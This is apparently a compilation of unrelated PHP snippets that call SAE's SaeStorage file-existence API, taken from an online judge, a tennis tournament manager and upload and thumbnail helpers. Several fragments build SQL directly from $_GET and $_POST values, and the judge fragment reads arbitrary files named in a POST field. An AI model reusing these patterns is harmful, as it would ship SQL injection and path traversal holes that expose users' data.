function SaeStorageExist($FilePath) { $storage = new SaeStorage(); $domain = Sae_Storage_Domain_Name; $result = $storage->fileExists($domain, $FilePath); return $result; }
function s_file_exists($filepath) { $_s = new SaeStorage(); //初始化Storage对象 $_f = _s_get_path($filepath); return $_s->fileExists($_f['domain'], $_f['filename']); }
function printTestCases($pid, $OJ_DATA) { if (strstr($OJ_DATA, "saestor:")) { // echo "<debug>$pid</debug>"; $store = new SaeStorage(); $ret = $store->getList("data", "{$pid}", 100, 0); foreach ($ret as $file) { // echo "<debug>$file</debug>"; if (!strstr($file, "sae-dir-tag")) { $pinfo = pathinfo($file); if (isset($pinfo['extension']) && $pinfo['extension'] == "in" && $pinfo['basename'] != "sample.in") { $f = basename($pinfo['basename'], "." . $pinfo['extension']); $outfile = "{$pid}/" . $f . ".out"; $infile = "{$pid}/" . $f . ".in"; if ($store->fileExists("data", $infile)) { echo "<test_input><![CDATA[" . $store->read("data", $infile) . "]]></test_input>\n"; } if ($store->fileExists("data", $outfile)) { echo "<test_output><![CDATA[" . $store->read("data", $outfile) . "]]></test_output>\n"; } // break; } } } } else { $ret = ""; $pdir = opendir("{$OJ_DATA}/{$pid}/"); while ($file = readdir($pdir)) { $pinfo = pathinfo($file); if (isset($pinfo['extension']) && $pinfo['extension'] == "in" && $pinfo['basename'] != "sample.in") { $ret = basename($pinfo['basename'], "." . $pinfo['extension']); $outfile = "{$OJ_DATA}/{$pid}/" . $ret . ".out"; $infile = "{$OJ_DATA}/{$pid}/" . $ret . ".in"; if (file_exists($infile)) { echo "<test_input><![CDATA[" . file_get_contents($infile) . "]]></test_input>\n"; } if (file_exists($outfile)) { echo "<test_output><![CDATA[" . file_get_contents($outfile) . "]]></test_output>\n"; } // break; } } closedir($pdir); return $ret; } }
function readModule($fileName) { if ($fileName !== null) { $fileName = basename($fileName); $s = new SaeStorage(); $content = $s->fileExists(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . $fileName) ? $s->read(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . $fileName) . "\n" : "Module File Not Found!"; return htmlspecialchars($content, ENT_QUOTES); } else { return "Module File Not Found!"; } }
public function photo_list() { $club_id = $this->getClubId(); $pageId1; $pageId2; $num = 0; $pageId = $_GET['pageId']; $exist = 1; $photo = M('photo'); $s = new SaeStorage(); $num = $photo->where('club_id=' . $club_id)->count("id"); $list = $photo->where('club_id=' . $club_id)->order('update_date desc')->page($_GET['pageId'] + 1, 15)->select(); $maxPageId = 0; if ($list != null) { foreach ($list as $key => $value) { // 设置封面 if ($list[$key]['coverImg'] != 1 || $s->fileExists("imgdomain", 'photo/' . $value[id] . '.jpg') == FALSE) { $list[$key]['url'] = "__IMG__/activity.jpg"; } else { $list[$key]['url'] = $s->getUrl("imgdomain", 'photo/' . $value[id] . '.jpg'); } } $this->assign("list", $list); // 设置分页Id $offset = $num % 15; if ($offset != 0) { $maxPageId = ($num - $offset) / 15; $maxPageId++; } else { $maxPageId = $num / 15; } if ($_GET['pageId'] == 0) { $pageId1 = 0; } else { $pageId1 = $_GET['pageId'] - 1; } if ($_GET['pageId'] < $maxPageId - 1) { $pageId2 = $_GET['pageId'] + 1; } else { $pageId2 = $maxPageId - 1; } } else { $pageId = -1; $pageId1 = -1; $pageId2 = -1; $exist = 0; } $this->assign("page", $pageId + 1 . '/' . $maxPageId); $this->assign("pageId", $pageId); $this->assign("pageId1", $pageId1); $this->assign("pageId2", $pageId2); $this->assign("exist", $exist); $this->display(); }
function s_file_exists($path) { if (IS_SAE) { $ret = file_exists($path); if (!$ret) { $_s = new SaeStorage(); $path = str_replace(FCPATH, '', $path); $_f = _s_get_path($path); return $_s->fileExists($_f['domain'], $_f['filename']); } } else { return file_exists($path); } }
/** * 保存指定文件 * @param array $file 保存的文件信息 * @param boolean $replace 同名文件是否覆盖 * @return boolean 保存状态,true-成功,false-失败 */ public function save($file, $replace = true) { $filename = ltrim($this->rootPath . '/' . $file['savepath'] . $file['savename'], '/'); $st = new \SaeStorage(); /* 不覆盖同名文件 */ if (!$replace && $st->fileExists($this->domain, $filename)) { $this->error = '存在同名文件' . $file['savename']; return false; } /* 移动文件 */ if (!$st->upload($this->domain, $filename, $file['tmp_name'])) { $this->error = '文件上传保存错误![' . $st->errno() . ']:' . $st->errmsg(); return false; } return true; }
public function Delete($fileName) { $res = array('result' => false, 'reason' => ''); $file_path = SAE_MODULES . '/' . $fileName; $s = new SaeStorage(); if ($s->fileExists(SAE_STORAGE_DOMAIN, $file_path)) { if ($s->delete(SAE_STORAGE_DOMAIN, $file_path)) { $res['result'] = true; $res['reason'] = $fileName; } else { $res['reason'] = $this->messages['6']; } } else { $res['reason'] = $this->messages['4']; } }
} /** * 保存指定文件 * @param array $file 保存的文件信息 * @param boolean $replace 同名文件是否覆盖 * @return boolean 保存状态,true-成功,false-失败 */ public function save(&$file, $replace = true) { $filename = ltrim($this->rootPath . '/' . $file['save_path'] . $file['save_name'], '/'); $st = new \SaeStorage(); /* 不覆盖同名文件 */ if (!$replace && $st->fileExists($this->domain, $filename)) { $this->error = '存在同名文件' . $file['savename']; return false; } /* 移动文件 */ if (!$st->upload($this->domain, $filename, $file['tmp_name'])) { $this->error = '文件上传保存错误![' . $st->errno() . ']:' . $st->errmsg();
public function file($path) { if (!IS_SAE) { return; } $this->load->helper('url'); $file = uri_string(); if (substr($file, 0, 1) == '/') { $file = substr($file, 1); } $storage = new SaeStorage(); $s_index = strpos($file, '/'); $_f = array('domain' => substr($file, 0, $s_index), 'filename' => substr($file, $s_index + 1)); if ($storage->fileExists($_f['domain'], $_f['filename'])) { header('Content-Type:image/jpeg'); echo $storage->read($_f['domain'], $_f['filename']); } else { set_status_header(404); } }
public function SerialMatch_detail() { // 获取系列赛id $id = $_GET['id']; $players = array(); $scale_html = ""; if ($id == null || $id == '') { $this->error('无有效参数!'); } $s = new SaeStorage(); // 获取基本情况 $ACTIVITY = M('activity'); $activity0 = $ACTIVITY->where('id=' . $id)->getField('title, content, start_time, end_time, headcount, cover, scale_num, result, champion_id'); $activity = current($activity0); if ($activity['cover'] != 1 || $s->fileExists("imgdomain", 'post/' . $id . '.jpg') == FALSE) { $activity['cover'] = "__IMG__/activity.jpg"; } else { $activity['cover'] = $s->getUrl("imgdomain", 'post/' . $id . '.jpg'); } // 获取积分榜数据 $ACTIVITY_USER = M('activity_user'); $activity_user = $ACTIVITY_USER->join('INNER JOIN serial_match_user ON serial_match_user.serial_match_id=activity_user.activity_id and serial_match_user.user_id=activity_user.user_id and activity_user.activity_id=' . $id . ' and serial_match_user.round=1 and type=0')->join('INNER JOIN user ON user.id=activity_user.user_id')->order('serial_match_user.group,score desc,win desc,activity_user.offset desc')->getField('truename,activity_user.round,win,lost,offset,activity_user.score,group,no'); $score_list = null; if ($activity_user != null) { $this->assign('exist1', 1); $index = -1; $subIndex = 0; $group = ''; foreach ($activity_user as $key => $value) { if ($group != $value['group']) { $index++; $subIndex = 0; $group = $value['group']; $score_list[$index]['group'] = $group; } $score_list[$index]['player'][$subIndex]['index'] = $subIndex + 1; $score_list[$index]['player'][$subIndex]['truename'] = $value['truename']; $score_list[$index]['player'][$subIndex]['win'] = $value['win']; $score_list[$index]['player'][$subIndex]['lost'] = $value['lost']; $score_list[$index]['player'][$subIndex]['offset'] = $value['offset']; $score_list[$index]['player'][$subIndex]['score'] = $value['score']; $score_list[$index]['player'][$subIndex]['round'] = $value['round']; $score_list[$index]['player'][$subIndex]['no'] = $group . $value['no']; $subIndex++; } } // 获取小组赛对阵 $BASE_MATCH = M('base_match'); $base_match = $BASE_MATCH->join(' INNER JOIN serial_base_match ON serial_base_match.serial_match_id=' . $id . ' and serial_base_match.base_match_id=base_match.id and serial_base_match.type=0 and serial_base_match.serial_match_id=' . $id)->join(' INNER JOIN serial_match_user ON serial_match_user.serial_match_id=' . $id . ' and serial_base_match.player1_id = serial_match_user.user_id and serial_match_user.type=0')->order('serial_match_user.group, state desc,start_date')->getField('base_match.id, group, state, score, start_date, end_date, player1_id, player2_id, round1, round2'); $SERIAL_MATCH_USER = M('serial_match_user'); $user_no = $SERIAL_MATCH_USER->where('serial_match_id=' . $id . ' and round=1 and type=0')->join('INNER JOIN user ON user.id=serial_match_user.user_id')->getField('user_id, truename, no'); $group_list = null; if ($base_match != null) { $this->assign('exist2', 1); $index = -1; $subIndex = 0; $group = ''; foreach ($base_match as $key => $value) { if ($group != $value['group']) { $index++; $subIndex = 0; $group = $value['group']; $group_list[$index]['group'] = $group; } if ($value['state'] == 0) { $group_list[$index]['players'][$subIndex]['state'] = '未开始'; } else { $group_list[$index]['players'][$subIndex]['state'] = '已结束'; } $group_list[$index]['players'][$subIndex]['start_date'] = $value['start_date']; $group_list[$index]['players'][$subIndex]['end_date'] = $value['end_date']; $group_list[$index]['players'][$subIndex]['vs'] = $user_no[$value['player1_id']]['truename'] . '【' . $value['score'] . '】' . $user_no[$value['player2_id']]['truename']; $group_list[$index]['players'][$subIndex]['round'] = '[' . $value['round1'] . ',' . $value['round2'] . ']'; $group_list[$index]['players'][$subIndex]['no1'] = $user_no[$value['player1_id']]['no']; $group_list[$index]['players'][$subIndex]['no2'] = $user_no[$value['player2_id']]['no']; $subIndex++; } } // 获得淘汰赛对阵 $SERIAL_MATCH_USER1 = M('serial_match_user'); $user_name = $SERIAL_MATCH_USER1->where('serial_match_id=' . $id . ' and round=1 and type=1')->join('INNER JOIN user ON user.id=serial_match_user.user_id')->getField('user_id, truename, no'); $base_match = $BASE_MATCH->join(' INNER JOIN serial_base_match ON serial_base_match.base_match_id=base_match.id and serial_base_match.type=1 and serial_base_match.serial_match_id=' . $id)->order('state desc,start_date')->getField('base_match.id, state, score, start_date, end_date, player1_id, player2_id, round1, round2,group1,group2,no1,no2'); foreach ($base_match as $key => $value) { // 人员信息设置 if ($value['player1_id'] > 0) { $player1 = $user_name[$value['player1_id']]['truename']; } else { if ($value['player1_id'] == 0) { $player1 = "轮空"; } else { $player1 = "待出线"; } } if ($value['player2_id'] > 0) { $player2 = $user_name[$value['player2_id']]['truename']; } else { if ($value['player2_id'] == 0) { $player2 = "轮空"; } else { $player2 = "待出线"; } } $group1 = $value['group1']; $group2 = $value['group2']; $no1 = $value['no1']; $no2 = $value['no2']; $round1 = $value['round1']; $round2 = $value['round2']; $index1 = ''; $index2 = ''; if ($round1 == '1') { $index1 = $group1 . $no1; } else { $index1 = $group1 . $round1 . $no1; } $players[$index1] = $player1; if ($round2 == '1') { $index2 = $group2 . $no2; } else { $index2 = $group2 . $round2 . $no2; } $players[$index2] = $player2; // 比赛信息设置 $players['M' . $group1 . $round1 . $no2 / 2] = $value['score']; // 设置冠军 $players['W'] = $user_name[$activity['champion_id']]['truename']; } $elimination_list = null; $index = -1; $subIndex = 0; $round = 0; $title = ''; // 设定1/8,1/4,1/2,决赛列表 $base_match = $BASE_MATCH->join(' INNER JOIN serial_base_match ON serial_base_match.base_match_id=base_match.id and serial_base_match.group1="S" and serial_base_match.type=1 and serial_base_match.serial_match_id=' . $id)->order('state desc,start_date')->getField('base_match.id, state, score, start_date, end_date, player1_id, player2_id, round1, round2,group1,group2,no1,no2'); if ($base_match != null) { $this->assign('exist3', 1); // 判断淘汰赛显示阵型 switch ($activity['scale_num']) { case 8: $players = scale8Compute($base_match, $user_name); $scale_html = "Match:scale8"; break; case 16: $scale_html = "Match:scale16"; break; case 32: $players = scale32Compute($base_match, $user_name); $scale_html = "Match:scale32"; break; case 64: $players = scale64Compute($base_match, $user_name); $scale_html = "Match:scale64"; break; case 128: $players = scale128Compute($base_match, $user_name); $scale_html = "Match:scale128"; break; case 256: $players = scale256Compute($base_match, $user_name); $scale_html = "Match:scale256"; break; default: break; } foreach ($base_match as $key => $value) { if ($round != $value['round1']) { $index++; $round = $value['round1']; $subIndex = 0; } if ($value['state'] == 0) { $elimination_list[$index]['players'][$subIndex]['state'] = '未开始'; } else { $elimination_list[$index]['players'][$subIndex]['state'] = '已结束'; } if ($value['score'] == '') { $value['score'] = '0:0'; } $elimination_list[$index]['players'][$subIndex]['start_date'] = $value['start_date']; $elimination_list[$index]['players'][$subIndex]['end_date'] = $value['end_date']; $elimination_list[$index]['players'][$subIndex]['vs'] = $user_name[$value['player1_id']]['truename'] . '【' . $value['score'] . '】' . $user_name[$value['player2_id']]['truename']; $elimination_list[$index]['players'][$subIndex]['round'] = '[' . $value['round1'] . ',' . $value['round2'] . ']'; $elimination_list[$index]['players'][$subIndex]['no1'] = $value['no1']; $elimination_list[$index]['players'][$subIndex]['no2'] = $value['no2']; $subIndex++; if ($index >= 0) { switch ($subIndex) { case 8: $elimination_list[$index]['title'] = '1/8决赛'; break; case 4: $elimination_list[$index]['title'] = '1/4决赛'; break; case 2: $elimination_list[$index]['title'] = '半决赛'; break; case 1: $elimination_list[$index]['title'] = '决赛'; break; default: break; } } } $elimination_list[$index]['title'] = '决赛'; } // 获取参赛人员 $USER = M('user'); $userList = $USER->join(' INNER JOIN activity_user ON activity_user.user_id = user.id and activity_user.activity_id=' . $id . ' and activity_user.sign=1')->getField('user.id,truename, telephone, ntrp, portrait'); if ($userList != null) { $this->assign('exist4', 1); foreach ($userList as $key => $value) { $userList[$key]['ntrp'] = number_format($value['ntrp'], 1); // 设置封面 if ($value['portrait'] == 1) { $userList[$key]['portrait'] = $s->getUrl("imgdomain", 'portrait/' . $value['id'] . '.jpg'); } else { $userList[$key]['portrait'] = '__IMG__/portrait.jpg'; } } } $this->assign('activity', $activity); $this->assign('score_list', $score_list); $this->assign('group_list', $group_list); $this->assign('elimination_list', $elimination_list); $this->assign('players_list', $userList); $this->assign('scale_html', $scale_html); $players['enable'] = 0; $this->assign('players', $players); $this->display(); }
public function serialMatch_release_presubmit() { // 检查提交的比赛是否符合提交条件 if ($_POST['ensureArrange'] == 1) { for ($i = 1; $i <= $groupNum; $i++) { // 循环组 for ($j = 1; $j < $eachGroupAmount;) { // 组内循环成员 if ($_POST[$groupArray[$i] . $j] == null || $_POST[$groupArray[$i] . $j] == '') { $this->error('有部分球员未安排赛事,请重新安排!'); } } } } // 获取系列赛id $id0 = $_GET['id']; $groupNum = $_POST['groupNum']; $type = $_GET['type']; if ($id0 == null || $id0 == '') { $this->error('无有效参数!'); } $s = new SaeStorage(); // 获取基本情况 $ACTIVITY = M('activity'); $activity0 = $ACTIVITY->where('id=' . $id0)->getField('id, title, content, start_time, end_time, headcount, cover, scale_num, state, result, champion_id'); $activity = current($activity0); if ($activity['cover'] != 1 || $s->fileExists("imgdomain", 'post/' . $id0 . '.jpg') == FALSE) { $activity['cover'] = "__IMG__/activity.jpg"; } else { $activity['cover'] = $s->getUrl("imgdomain", 'post/' . $id0 . '.jpg'); } // 赛事安排类型 $matchArrangeType = 0; // 0表示小组赛,1表示淘汰赛,2表示超出系统安排范围 // 参赛总人数 $ACTIVITY = M('activity'); $headcount = $ACTIVITY->where('id=' . $_GET['id'])->GetField('headcount'); // 如果是淘汰赛,计算系统预设的分组数、每组人数和轮空数 $groupNum = 0; $eachGroupAmount = 0; $groupVoidArray = array(); // 轮空数组 $groupArray = array("1" => "A", "2" => "B", "3" => "C", "4" => "D", "5" => "E", "6" => "F", "7" => "G", "8" => "H"); $groupRoundNum = 0; // 淘汰赛 if ($type == 1) { $matchArrangeType = 1; if ($headcount <= 8) { $groupNum = 2; $diff = 8 - $headcount; // 轮空数 $eachGroupAmount = 4; $groupRoundNum = 2; $scaleNum = 8; } else { if ($headcount <= 16) { $groupNum = 2; $diff = 16 - $headcount; // 轮空数 $eachGroupAmount = 8; $groupRoundNum = 3; $scaleNum = 16; } else { if ($headcount <= 32) { $groupNum = 4; $diff = 32 - $headcount; // 轮空数 $eachGroupAmount = 8; $groupRoundNum = 3; $scaleNum = 32; } else { if ($headcount <= 64) { $groupNum = 4; $diff = 64 - $headcount; // 轮空数 $eachGroupAmount = 16; $groupRoundNum = 4; $scaleNum = 64; } else { if ($headcount <= 128) { $groupNum = 8; $diff = 128 - $headcount; // 轮空数 $eachGroupAmount = 16; $groupRoundNum = 4; $scaleNum = 128; } else { if ($headcount <= 256) { $groupNum = 8; $diff = 256 - $headcount; // 轮空数 $eachGroupAmount = 32; $groupRoundNum = 5; $scaleNum = 256; } else { $matchArrangeType = 2; } } } } } } // 计算每组轮空数 if ($matchArrangeType != 2) { $j = 1; $round = 1; for ($i = 1; $i <= $diff; $i++) { $groupVoidArray[$j][$round * 2] = 1; $j++; if ($j > $groupNum) { $round++; $j = 1; } } } } else { $matchArrangeType = 0; $groupNum = $_POST['groupNum']; $eachGroupAmount = floor($headcount / $groupNum); $offset = $groupNum - $headcount % $groupNum; if ($offset > 0) { $eachGroupAmount++; } // 计算每组轮空情况 $j = $groupNum; for ($i = 1; $i <= $offset; $i++) { $groupVoidArray[$j][$eachGroupAmount] = 1; $j--; } } // --------------确认安排赛事--------------- if ($_POST['ensureArrange'] == 1) { // 更新activity $ACTIVITY = M('activity'); $ACTIVITY->id = $id0; $ACTIVITY->scale_num = $scaleNum; $ACTIVITY->group_num = $groupNum; $SERIAL_MATCH_USER = M('serial_match_user'); $SERIAL_BASE_MATCH = M('serial_base_match'); $BASE_MATCH = M('base_match'); // serialMatchUser表提交数据变量 $serialMatchUserItemArray = array(); $serialMatchUserItemArray['serial_match_id'] = $id0; $serialMatchUserItemArray['round'] = 1; $serialMatchUserItemArray['type'] = $type; $serialMatchUserArray = array(); // serialBaseMatch表提交数据变量 $serialBaseMatchItemArray = array(); $serialBaseMatchItemArray['serial_match_id'] = $id0; $serialBaseMatchItemArray['type'] = $type; $serialBaseMatchArray = array(); // baseMatch表提交数据变量 $baseMatchArray = array(); $baseMatchArray['serial_match_id'] = $id0; $baseMatchArray['state'] = 0; $baseMatchArray['update_user'] = $_SESSION['tennis-user']['id']; $d = date('Y-m-d H:i:s'); $baseMatchArray['update_date'] = $d; $baseMatchArray['start_date'] = $activity['start_time']; $baseMatchArray['end_date'] = $activity['end_time']; $sIndex = 0; // 存储到serial_match_user变量中 for ($i = 1; $i <= $groupNum; $i++) { for ($j = 1; $j <= $eachGroupAmount; $j++) { if ($_POST[$groupArray[$i] . $j] != 0) { $serialMatchUserItemArray['user_id'] = $_POST[$groupArray[$i] . $j]; $serialMatchUserItemArray['group'] = $groupArray[$i]; $serialMatchUserItemArray['no'] = $j; $serialMatchUserArray[$sIndex] = $serialMatchUserItemArray; $sIndex++; } } } // 更新serial_match_user表 $result = $SERIAL_MATCH_USER->addAll($serialMatchUserArray); if ($result === false) { $this->error("保存serial_match_user出问题了,请联系管理员!"); } $sIndex = 0; // 分类型更新base_match,serial_base_match // 小组赛 if ($type == 0) { for ($i = 1; $i <= $groupNum; $i++) { // 循环组 for ($j = 1; $j < $eachGroupAmount; $j++) { // 组内循环成员 for ($k = $j + 1; $k <= $eachGroupAmount; $k++) { // 组内成员全排列 if ($_POST[$groupArray[$i] . $j] != 0 && $_POST[$groupArray[$i] . $k] != 0) { $tmp_id = $BASE_MATCH->data($baseMatchArray)->add(); if ($tmp_id === false) { $this->error("保存base_match出问题了,请联系管理员!"); } else { // 存储到serial_base_match变量中 $serialBaseMatchItemArray['base_match_id'] = $tmp_id; $serialBaseMatchItemArray['player1_id'] = $_POST[$groupArray[$i] . $j]; $serialBaseMatchItemArray['player2_id'] = $_POST[$groupArray[$i] . $k]; $serialBaseMatchItemArray['group1'] = $groupArray[$i]; $serialBaseMatchItemArray['group2'] = $groupArray[$i]; $serialBaseMatchItemArray['no1'] = $j; $serialBaseMatchItemArray['no2'] = $k; $serialBaseMatchArray[$sIndex] = $serialBaseMatchItemArray; $sIndex++; } } } } } // 更新serial_base_match $result = $SERIAL_BASE_MATCH->addAll($serialBaseMatchArray); if ($result === false) { $this->error("保存serial_base_match出问题了,请联系管理员!"); } } else { if ($type == 1) { // 排列小组内淘汰赛 $tmp_each_group_amount = $eachGroupAmount; $r = 1; for (; $r <= $groupRoundNum; $r++) { for ($i = 1; $i <= $groupNum; $i++) { // 循环组 for ($j = 1; $j < $tmp_each_group_amount;) { // 组内循环成员 $tmp_id = $BASE_MATCH->data($baseMatchArray)->add(); if ($tmp_id === false) { $this->error("保存base_match出问题了,请联系管理员!"); } else { // 存储到serial_base_match变量中 $serialBaseMatchItemArray['base_match_id'] = $tmp_id; if ($r == 1) { $serialBaseMatchItemArray['player1_id'] = $_POST[$groupArray[$i] . $j]; $serialBaseMatchItemArray['player2_id'] = $_POST[$groupArray[$i] . ($j + 1)]; } else { $serialBaseMatchItemArray['player1_id'] = -1; $serialBaseMatchItemArray['player2_id'] = -1; } $serialBaseMatchItemArray['group1'] = $groupArray[$i]; $serialBaseMatchItemArray['group2'] = $groupArray[$i]; $serialBaseMatchItemArray['round1'] = $r; $serialBaseMatchItemArray['round2'] = $r; $serialBaseMatchItemArray['no1'] = $j; $serialBaseMatchItemArray['no2'] = $j + 1; $serialBaseMatchArray[$sIndex] = $serialBaseMatchItemArray; $sIndex++; } $j += 2; } } $tmp_each_group_amount /= 2; } // 排列小组出线后淘汰赛 $tmp_each_group_amount *= $groupNum; while ($tmp_each_group_amount >= 1) { $j = 1; while ($j < $tmp_each_group_amount) { // 组内循环成员 $tmp_id = $BASE_MATCH->data($baseMatchArray)->add(); if ($tmp_id === false) { $this->error("保存base_match出问题了,请联系管理员!"); } else { // 存储到serial_base_match变量中 $serialBaseMatchItemArray['base_match_id'] = $tmp_id; $serialBaseMatchItemArray['player1_id'] = -1; $serialBaseMatchItemArray['player2_id'] = -1; $serialBaseMatchItemArray['group1'] = 'S'; $serialBaseMatchItemArray['group2'] = 'S'; $serialBaseMatchItemArray['round1'] = $r; $serialBaseMatchItemArray['round2'] = $r; $serialBaseMatchItemArray['no1'] = $j; $serialBaseMatchItemArray['no2'] = $j + 1; $serialBaseMatchArray[$sIndex] = $serialBaseMatchItemArray; $sIndex++; } $j += 2; } $r++; $tmp_each_group_amount /= 2; } // 更新serial_base_match $result = $SERIAL_BASE_MATCH->addAll($serialBaseMatchArray); if ($result === false) { $this->error("保存serial_base_match出问题了,请联系管理员!"); } } } // 完成安排,跳转到赛事页面 $this->success('安排成功!', '__APP__/Admin/Match/serialMatch_update_detail?id=' . $id0); } // 获取参赛选手列表 $playerList = array(); $all_players_id = array(); $ACTIVITY_USER = M('activity_user'); $player = $ACTIVITY_USER->where('activity_id=' . $_GET['id'])->join('INNER JOIN user ON user.id=activity_user.user_id')->getField('user.id, user_id, truename'); foreach ($player as $key => $value) { $firstChar = getFirstChar($value['truename']); $user_name = $value['truename']; $user_id = $value['user_id']; $playerList[$user_id]['id'] = $user_id; $playerList[$user_id]['name'] = $user_name; $playerList[$user_id]['letter'] = $firstChar; array_push($all_players_id, $value['user_id']); } // 获取已安排参赛选手及对应位置 // 已安排选手列表 $has_set_players = array(); // 等待随机插入的选手列表 $rand_players = array(); // 安排好用于返回的选手 $players = array(); // 获取已安排选手列表 for ($i = 1; $i <= $groupNum; $i++) { for ($j = 1; $j <= $eachGroupAmount; $j++) { $index = $groupArray[$i] . $j; if ($_POST[$index] > 0) { // 已安排 array_push($has_set_players, $_POST[$index]); } } } // 获取未安排选手列表 $rand_players = array_diff($all_players_id, $has_set_players); shuffle($rand_players); // 安排这些未安排选手 for ($i = 1; $i <= $groupNum; $i++) { for ($j = 1; $j <= $eachGroupAmount; $j++) { $index = $groupArray[$i] . $j; if ($_POST[$index] == null || $_POST[$index] == '') { // 待安排 $tmp_id = array_shift($rand_players); if ($tmp_id == null || $tmp_id == '') { break; } $players[$groupArray[$i]][$j][id] = $tmp_id; $players[$groupArray[$i]][$j][name] = $playerList[$tmp_id]['name']; $players[$groupArray[$i]][$j][letter] = $playerList[$tmp_id]['letter']; } else { if ($_POST[$index] > 0) { $tmp_id = $_POST[$index]; $players[$groupArray[$i]][$j][id] = $tmp_id; $players[$groupArray[$i]][$j][name] = $playerList[$tmp_id]['name']; $players[$groupArray[$i]][$j][letter] = $playerList[$tmp_id]['letter']; } } } } // 字母列表 $letterList = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"); // 返回参数 $this->assign("id", $_GET['id']); $this->assign("matchArrangeType", $matchArrangeType); $this->assign("groupVoidArray", $groupVoidArray); $this->assign("groupNum", $groupNum); $this->assign("eachGroupAmount", $eachGroupAmount); $this->assign("groupArray", $groupArray); $this->assign("activity", $activity); $this->assign("players", $players); $this->assign("letterList", $letterList); $this->assign("hasSetPlayer", 1); $this->assign("groupNum", $groupNum); $this->display(); }
exit; } if (empty($filename2)) { show_error_import2("The order detail file is empty!"); exit; } if (strpos($filename1, ".csv") == false) { show_error_import2("The order list file is not a csv file!"); exit; } if (strpos($filename2, ".csv") == false) { show_error_import2("The order detail file is not a csv file!"); exit; } $s = new SaeStorage(); $is_exist1 = $s->fileExists("upload", $filename1); if (!$is_exist1) { show_error_import2("Order List Csv is Not Exist!"); exit; } $is_exist2 = $s->fileExists("upload", $filename2); if (!$is_exist2) { show_error_import2("Order List Csv is Not Exist!"); exit; } // Now parse the file and look for errors $ret_value = 0; $ret_value1 = parse_import_csv_new($filename1, $delimiter, $max_lines, $has_header1); //excel $ret_value2 = parse_import_csv_new($filename2, $delimiter, $max_lines, $has_header2); //excel
$dir = opendir($OJ_DATA . "/{$pid}"); while (($file = readdir($dir)) != "") { if (!is_dir($file)) { $file = pathinfo($file); $file = $file['basename']; echo "{$file}\n"; } } closedir($dir); } } else { if (isset($_POST['gettestdata'])) { $file = $_POST['filename']; if ($OJ_SAE) { $store = new SaeStorage(); if ($store->fileExists("data", $file)) { echo $store->read("data", $file); } } else { echo file_get_contents($OJ_DATA . '/' . $file); } } else { if (isset($_POST['gettestdatadate'])) { $file = $_POST['filename']; echo filemtime($OJ_DATA . '/' . $file); } else { ?> <form action='problem_judge.php' method=post> <b>HTTP Judge:</b><br /> sid:<input type=text size=10 name="sid" value=1244><br />
function getThumbImage($filename, $width = 100, $height = 'auto', $type = 0, $replace = false) { $UPLOAD_URL = ''; $UPLOAD_PATH = ''; $filename = str_ireplace($UPLOAD_URL, '', $filename); //将URL转化为本地地址 $info = pathinfo($filename); $oldFile = $info['dirname'] . DIRECTORY_SEPARATOR . $info['filename'] . '.' . $info['extension']; $thumbFile = $info['dirname'] . DIRECTORY_SEPARATOR . $info['filename'] . '_' . $width . '_' . $height . '.' . $info['extension']; $oldFile = str_replace('\\', '/', $oldFile); $thumbFile = str_replace('\\', '/', $thumbFile); $filename = ltrim($filename, '/'); $oldFile = ltrim($oldFile, '/'); $thumbFile = ltrim($thumbFile, '/'); //兼容SAE的中心裁剪缩略 if (strtolower(C('PICTURE_UPLOAD_DRIVER')) == 'sae') { $storage = new SaeStorage(); $thumbFilePath = str_replace(C('UPLOAD_SAE_CONFIG.rootPath'), '', $thumbFile); if (!$storage->fileExists(C('UPLOAD_SAE_CONFIG.domain'), $thumbFilePath)) { $f = new SaeFetchurl(); $img_data = $f->fetch($oldFile); $img = new SaeImage(); $img->setData($img_data); $info_img = $img->getImageAttr(); if ($height == "auto") { $height = $info_img[1] * $height / $info_img[0]; } $w = $info_img[0]; $h = $info_img[1]; /* 居中裁剪 */ //计算缩放比例 $w_scale = $width / $w; if ($w_scale > 1) { $w_scale = 1 / $w_scale; } $h_scale = $height / $h; if ($h_scale > $w_scale) { //按照高来放缩 $x1 = (1 - 1.0 * $width * $h / $w / $height) / 2; $x2 = 1 - $x1; $img->crop($x1, $x2, 0, 1); $img_temp = $img->exec(); $img1 = new SaeImage(); $img1->setData($img_temp); $img1->resizeRatio($h_scale); } else { $y1 = (1 - 1 * 1.0 / ($width * $h / $w / $height)) / 2; $y2 = 1 - $y1; $img->crop(0, 1, $y1, $y2); $img_temp = $img->exec(); $img1 = new SaeImage(); $img1->setData($img_temp); $img1->resizeRatio($w_scale); } $img1->improve(); $new_data = $img1->exec(); // 执行处理并返回处理后的二进制数据 if ($new_data === false) { return $oldFile; } // 或者可以直接输出 $thumbed = $storage->write(C('UPLOAD_SAE_CONFIG.domain'), $thumbFilePath, $new_data); $info['width'] = $width; $info['height'] = $height; $info['src'] = $thumbed; //图片处理失败时输出错误码和错误信息 } else { $info['width'] = $width; $info['height'] = $height; $info['src'] = $storage->getUrl(C('UPLOAD_SAE_CONFIG.domain'), $thumbFilePath); } return $info; } //原图不存在直接返回 if (!file_exists($UPLOAD_PATH . $oldFile)) { @unlink($UPLOAD_PATH . $thumbFile); $info['src'] = $oldFile; $info['width'] = intval($width); $info['height'] = intval($height); return $info; //缩图已存在并且 replace替换为false } elseif (file_exists($UPLOAD_PATH . $thumbFile) && !$replace) { $imageinfo = getimagesize($UPLOAD_PATH . $thumbFile); $info['src'] = $thumbFile; $info['width'] = intval($imageinfo[0]); $info['height'] = intval($imageinfo[1]); return $info; //执行缩图操作 } else { $oldimageinfo = getimagesize($UPLOAD_PATH . $oldFile); $old_image_width = intval($oldimageinfo[0]); $old_image_height = intval($oldimageinfo[1]); if ($old_image_width <= $width && $old_image_height <= $height) { @unlink($UPLOAD_PATH . $thumbFile); @copy($UPLOAD_PATH . $oldFile, $UPLOAD_PATH . $thumbFile); $info['src'] = $thumbFile; $info['width'] = $old_image_width; $info['height'] = $old_image_height; return $info; } else { if ($height == "auto") { $height = $old_image_height * $width / $old_image_width; } if ($width == "auto") { $width = $old_image_width * $width / $old_image_height; } if (intval($height) == 0 || intval($width) == 0) { return 0; } require_once 'ThinkPHP/Library/Vendor/phpthumb/PhpThumbFactory.class.php'; $thumb = PhpThumbFactory::create($UPLOAD_PATH . $filename); if ($type == 0) { $thumb->adaptiveResize($width, $height); } else { $thumb->resize($width, $height); } $res = $thumb->save($UPLOAD_PATH . $thumbFile); $info['src'] = 